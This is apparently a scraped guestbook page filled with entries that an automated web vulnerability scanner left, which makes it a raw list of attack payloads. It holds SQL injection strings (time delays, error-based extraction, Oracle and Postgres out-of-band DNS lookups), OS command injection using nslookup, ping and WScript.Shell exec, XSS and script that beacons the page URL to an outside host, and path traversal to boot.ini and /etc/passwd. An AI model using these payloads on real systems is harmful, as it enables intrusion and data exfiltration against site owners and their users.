+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ ' WAITFOR DELAY '0:0:25'-- +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:26 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

c:\boot.ini

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

1/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

//r87.com/?0x002AB8

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

//r87.com/?0x002AB7

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

[ns](javascript:netsparker(0x002A8F); "nsmd")

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

ping -w 25 127.0.0.1

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

'+netsparker(0x002A8B)+'

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

netsparker(0x002A89);

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

netsparker(0x002A87)

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

&ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

'&ping -w 25 127.0.0.1 &'

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

',netsparker(0x002A85),'

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

\';netsparker(0x002A83);///

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

"&ping -w 25 127.0.0.1 &"

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

"+netsparker(0x002A81)+"

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'+netsparker(0x002A7F)+'

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

*/netsparker(0x002A7D);/*

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

body{x:expression(netsparker(0x002A7B))}

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

|expr${IFS}268409241${IFS}-${IFS}2

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

expr 268409241 - 2

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

n;ns:expression(netsparker(0x002A79));

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

expr 268409241 - 2;

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+' +

+
+

1;expr 268409241 - 2;x

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

+

+ 8/23/2017 8:08:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

1';expr 268409241 - 2;'

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf""ury.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd""z1o.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:50 AM +

+

+ 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1 +

+
+

"&nslookup "o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic""f8i.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

"&nslookup "o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu""90e.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:50 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL) +

+
+

'&nslookup "o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5""fqe.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

1";expr 268409241 - 2;"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

'&nslookup "o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye""btw.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||' +

+
+

Smith

+

+ 8/23/2017 8:08:49 AM +

+

+ -1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1 +

+
+

&nslookup "o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj""oac.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

javascript:netsparker(0x002A73)

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

&nslookup "o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3""_iq.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL)))) +

+
+

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5""g2w.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26""lsu.r87.me"

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

">

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:47 AM +

+

+ -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:47 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL) +

+
+

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'>

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz"+"lqw.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal"+"9om.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

//r87.com/n/j/?0x002A6C

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||' +

+
+

//r87.com/n/j/?0x002A6B

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:44 AM +

+

+ (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric) +

+
+

"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A6A

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1'));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric) +

+
+

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A69

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

1 ns=netsparker(0x002A5F)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

'" ns=netsparker(0x002A5D)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:42 AM +

+

+ Guestbook.aspxďż˝ +

+
+

Smith

+

+ 8/23/2017 8:08:41 AM +

+

+ '+NSFTW+' +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2') +

+
+

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ Guestbook.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ '"--> +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7" & "32o.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

1');SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ data:;base64,TlM3NzU0NTYxNDQ2NTc1 +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio" & "qju.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y" & "wqa.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-" & "y9m.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ //r87.com/?0x003F84 +

+
+

1);SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

N3TSP4RKE2

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd +

+
+

nxtspxrkex

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ [ns](javascript:netsparker(0x003F5C);) +

+
+

Smith

+

+ 8/23/2017 8:08:38 AM +

+

+ NSFTW +

+
+

n3tsp4rke2

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ /etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ '"@--> +

+
+

SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt" & "ano.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl" & "8u8.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

